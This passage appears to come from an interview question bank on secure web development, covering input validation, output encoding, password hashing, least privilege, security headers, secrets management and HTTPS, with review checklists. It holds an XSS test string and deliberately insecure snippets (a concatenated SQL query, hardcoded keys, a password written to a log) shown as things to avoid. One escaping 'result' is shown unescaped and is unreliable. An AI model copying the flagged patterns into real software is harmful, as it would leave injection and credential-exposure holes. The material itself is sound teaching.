- Server-side validation required
- Whitelist approach
- Uses framework validation
Follow-up: When would you sanitize vs reject invalid input?
Output encoding vs input validation
What's the difference between input validation and output encoding?
Input Validation:
Check if input meets expected criteria. Accept or reject.
// Validate email format
if (!email.matches("^[\\w.]+@[\\w.]+\\.[a-z]{2,}$")) {
throw new ValidationException("Invalid email");
}
// Validate within range
if (age < 0 || age > 150) {
throw new ValidationException("Invalid age");
}
Output Encoding:
Transform output to be safe in specific context.
// Same input, different encoding for different contexts
String userInput = "<script>alert('xss')</script>";
// HTML context
String htmlSafe = HtmlUtils.htmlEscape(userInput);
// Result: <script>alert('xss')</script>
// JavaScript context
String jsSafe = "var x = '" + JavaScriptUtils.javaScriptEscape(userInput) + "'";
// Result: var x = '\x3Cscript\x3Ealert(\x27xss\x27)\x3C\/script\x3E'
// URL context
String urlSafe = URLEncoder.encode(userInput, "UTF-8");
// Result: %3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E
When to Use:
Input Validation:
- At entry points
- Reject invalid data early
- Business rules
Output Encoding:
- When displaying data
- Different encoding per context
- Doesn't reject, transforms
Both Together:
@PostMapping("/comment")
public void addComment(@Valid @RequestBody CommentDTO dto) {
// Input validation: Ensure reasonable length, no profanity
validator.validate(dto);
// Store as-is
commentRepo.save(dto.toEntity());
}
// Template (output encoding)
<div th:text="${comment.text}"> <!-- Auto-escaped by Thymeleaf -->
Why Both:
Input validation alone: Can't predict all contexts
Output encoding alone: Bad data stored in database
Together:
- Validation: Quality control, business rules
- Encoding: Security in each context
Encoding Contexts:
HTML body: < > &
HTML attribute: " '
JavaScript: \x3C \x3E
URL: %3C %3E
CSS: \3C \3E
Key Points to Look For:
- Knows both are needed
- Understands context-specific encoding
- Doesn't rely on only one
Follow-up: What happens if you encode for wrong context?
Security Practices
Secure password storage (hashing, salting)
How should passwords be stored securely?
Never Store Plain Text:
// NEVER
user.setPassword(plainPassword); // Disaster!
Hashing:
One-way transformation. Can't reverse.
// Better, but not enough
String hash = sha256(password);
// Problem: Same password = same hash (rainbow tables)
Salting:
Add random data before hashing.
// Good
String salt = generateRandomSalt(); // Unique per user
String hash = sha256(salt + password);
// Store both salt and hash
Best Practice - bcrypt/Argon2:
// Best - use purpose-built algorithms
// bcrypt
String hash = BCrypt.hashpw(password, BCrypt.gensalt(12));
// Verify
boolean valid = BCrypt.checkpw(inputPassword, storedHash);
// Argon2 (newer, recommended)
Argon2PasswordEncoder encoder = new Argon2PasswordEncoder();
String hash = encoder.encode(password);
boolean valid = encoder.matches(inputPassword, hash);
Why bcrypt/Argon2:
1. Built-in salt
2. Configurable cost (slower = harder to crack)
3. Designed for passwords (not general hashing)
Password Storage:
@Entity
public class User {
// Store the hash, not password
@Column(length = 100)
private String passwordHash;
// Salt included in bcrypt hash
// No separate salt column needed
}
Spring Security:
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12); // Cost factor 12
}
// Usage
String hash = passwordEncoder.encode("password123");
boolean match = passwordEncoder.matches("password123", hash);
Do NOT:
// Don't use fast algorithms
MD5(password) // Too fast, broken
SHA256(password) // Too fast, no salt
encrypt(password) // Encryption is reversible!
Cost Factor:
Cost 10: ~100ms to hash (good for 2020)
Cost 12: ~250ms to hash (recommended)
Cost 14: ~1s to hash (high security)
Higher = slower to crack, but also slower to verify
Key Points to Look For:
- Never plain text
- Uses bcrypt/Argon2
- Understands salting
Follow-up: How do you handle password policy requirements?
Principle of Least Privilege
What is the Principle of Least Privilege?
Principle of Least Privilege:
Give minimum permissions needed to perform a task.
Examples:
Database Users:
-- Bad: Application uses root
GRANT ALL PRIVILEGES ON *.* TO 'app'@'localhost';
-- Good: Specific permissions
GRANT SELECT, INSERT, UPDATE ON app_db.users TO 'app'@'localhost';
GRANT SELECT ON app_db.products TO 'app'@'localhost';
-- No DELETE on critical tables
File Permissions:
# Bad
chmod 777 /var/www/app
# Good
chmod 750 /var/www/app
chown www-data:www-data /var/www/app
API Tokens:
# Bad: Full access token
token: full_admin_access
# Good: Scoped token
token: read_only_users
scopes:
- users:read
- orders:read
User Roles:
// Bad: Everyone is admin
if (user.isLoggedIn()) {
allowAll();
}
// Good: Role-based access
@PreAuthorize("hasRole('ADMIN')")
public void deleteUser(Long id) { }
@PreAuthorize("hasRole('USER')")
public void viewProfile(Long id) { }
Container Security:
# Bad: Run as root
USER root
# Good: Non-root user
RUN adduser --disabled-password appuser
USER appuser
Benefits:
1. Limits breach damage - Compromised account has limited access
2. Reduces attack surface - Fewer ways to exploit
3. Audit trail - Clear who can do what
4. Compliance - Required by many standards
Implementation:
1. Start with no permissions
2. Add only what's needed
3. Regular access review
4. Time-limited access for sensitive operations
Key Points to Look For:
- Understands the principle
- Can give practical examples
- Mentions regular review
Follow-up: How do you handle emergency access needs?
Security headers (CSP, HSTS, etc.)
What security headers should web applications use?
Essential Security Headers:
1. Content-Security-Policy (CSP):
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
frame-ancestors 'none'
Prevents XSS, clickjacking.
2. Strict-Transport-Security (HSTS):
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Forces HTTPS.
3. X-Content-Type-Options:
X-Content-Type-Options: nosniff
Prevents MIME type sniffing.
4. X-Frame-Options:
X-Frame-Options: DENY
Prevents clickjacking.
5. X-XSS-Protection:
X-XSS-Protection: 1; mode=block
Legacy XSS filter (CSP is better).
6. Referrer-Policy:
Referrer-Policy: strict-origin-when-cross-origin
Controls referrer information.
7. Permissions-Policy:
Permissions-Policy: geolocation=(), camera=(), microphone=()
Restricts browser features.
Spring Security:
@Bean
SecurityFilterChain filterChain(HttpSecurity http) {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'"))
.httpStrictTransportSecurity(hsts -> hsts
.maxAgeInSeconds(31536000)
.includeSubDomains(true))
.frameOptions(frame -> frame.deny())
);
return http.build();
}
Express.js (Helmet):
const helmet = require('helmet');
app.use(helmet()); // Sets all security headers
// Custom CSP
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-abc123'"],
}
}));
Testing:
# Check headers
curl -I https://example.com
# Use securityheaders.com for analysis
Key Points to Look For:
- Knows main headers
- Can configure CSP
- Mentions HSTS
Follow-up: How do you implement CSP in a legacy application?
Secrets management
How should application secrets be managed?
Never in Code:
// NEVER
private static final String API_KEY = "sk_live_abc123";
private static final String DB_PASSWORD = "password123";
Environment Variables:
# Better
export DATABASE_URL="postgres://user:pass@host/db"
export API_KEY="sk_live_abc123"
String apiKey = System.getenv("API_KEY");
Secrets Manager (Best):
// AWS Secrets Manager
SecretsManagerClient client = SecretsManagerClient.create();
GetSecretValueResponse response = client.getSecretValue(
GetSecretValueRequest.builder()
.secretId("prod/myapp/database")
.build()
);
String dbPassword = response.secretString();
// HashiCorp Vault
VaultTemplate vault = new VaultTemplate(vaultEndpoint, clientAuth);
VaultResponse response = vault.read("secret/data/myapp");
String apiKey = response.getData().get("api_key");
Spring Boot:
# application.yml
spring:
datasource:
password: ${DB_PASSWORD} # From environment
# Or Spring Cloud Vault integration
Kubernetes Secrets:
apiVersion: v1
kind: Secret
metadata:
name: app-secrets
type: Opaque
data:
db-password: cGFzc3dvcmQxMjM= # base64 encoded
---
# Pod using secret
env:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: app-secrets
key: db-password
Best Practices:
1. Rotation:
Schedule regular rotation
Automate rotation process
Support multiple active versions during transition
2. Access Control:
Principle of least privilege
Audit who accessed secrets
Time-limited access
3. Encryption:
Encrypt at rest
Encrypt in transit
Use envelope encryption
4. No Secrets in:
- Source code
- Git history
- Docker images
- Logs
- Error messages
Key Points to Look For:
- Never in code/git
- Uses secrets manager
- Mentions rotation
Follow-up: How do you handle secrets in local development?
HTTPS everywhere: why it matters
Why is HTTPS important even for non-sensitive pages?
HTTPS Everywhere:
All pages, not just login/payment.
Why:
1. Session Hijacking:
HTTP: Cookie sent in clear text
Attacker on WiFi: Captures session cookie
Result: Attacker impersonates user
Even if login is HTTPS, HTTP pages leak session
2. Content Injection:
HTTP: ISP can inject ads
Attacker: Can inject malicious scripts
HTTPS: Content cannot be modified
3. Privacy:
HTTP: URLs visible to network
- /search?q=medical+condition
- /products/embarrassing-item
HTTPS: Only domain visible (SNI)
4. SEO:
Google ranks HTTPS higher
Chrome shows "Not Secure" for HTTP
5. Modern Features:
Service Workers: HTTPS only
Geolocation: HTTPS only
Camera/Microphone: HTTPS only
HTTP/2: Effectively HTTPS only
6. Trust:
Users expect padlock
HTTP looks suspicious
Implementation:
# Redirect HTTP to HTTPS
server {
listen 80;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
}
HSTS (Prevent Downgrade):
Strict-Transport-Security: max-age=31536000; includeSubDomains
Mixed Content:
<!-- Bad: HTTP resource on HTTPS page -->
<img src="http://example.com/image.jpg">
<!-- Good: Protocol-relative or HTTPS -->
<img src="https://example.com/image.jpg">
<img src="//example.com/image.jpg">
Key Points to Look For:
- Knows multiple reasons
- Mentions session hijacking
- Understands mixed content
Follow-up: How does HSTS preloading work?
Security code review checklist
What do you look for in a security-focused code review?
Security Code Review Checklist:
1. Input Validation:
□ All input validated server-side
□ Whitelist validation preferred
□ Length limits enforced
□ Type checking present
□ Encoding/format validated
2. Output Encoding:
□ HTML encoding for web output
□ Context-appropriate encoding (JS, URL, CSS)
□ Template auto-escaping enabled
□ No raw HTML rendering of user input
3. Authentication:
□ Passwords hashed with bcrypt/Argon2
□ No hardcoded credentials
□ Session management secure
□ Multi-factor where appropriate
□ Account lockout implemented
4. Authorization:
□ Access control on every endpoint
□ Principle of least privilege
□ No direct object references without checks
□ Role checks can't be bypassed
5. Data Protection:
□ Sensitive data encrypted at rest
□ TLS for data in transit
□ No sensitive data in URLs
□ No sensitive data in logs
□ Proper data classification
6. SQL/Injection:
□ Parameterized queries used
□ No string concatenation in queries
□ ORM used correctly
□ Command injection prevented
7. Dependencies:
□ No known vulnerabilities
□ Dependencies up to date
□ Minimal dependencies
□ Lock file present
8. Error Handling:
□ No stack traces to users
□ Generic error messages
□ Errors logged securely
□ Fail securely (deny by default)
9. Cryptography:
□ No custom crypto algorithms
□ Strong algorithms used (AES-256, RSA-2048+)
□ Secure random number generation
□ Keys stored securely
10. Configuration:
□ Secrets not in code
□ Debug mode disabled
□ Security headers configured
□ CORS properly configured
Review Example:
// Found during review:
String query = "SELECT * FROM users WHERE id = " + userId;
// Issue: SQL Injection
// Fix: Use parameterized query
// Found:
log.info("User login: " + user.getEmail() + ", password: " + password);
// Issue: Logging sensitive data
// Fix: Remove password from logs
Key Points to Look For:
- Comprehensive checklist
- Prioritizes critical issues
- Provides fixes, not just findings
Follow-up: How do you integrate security into CI/CD?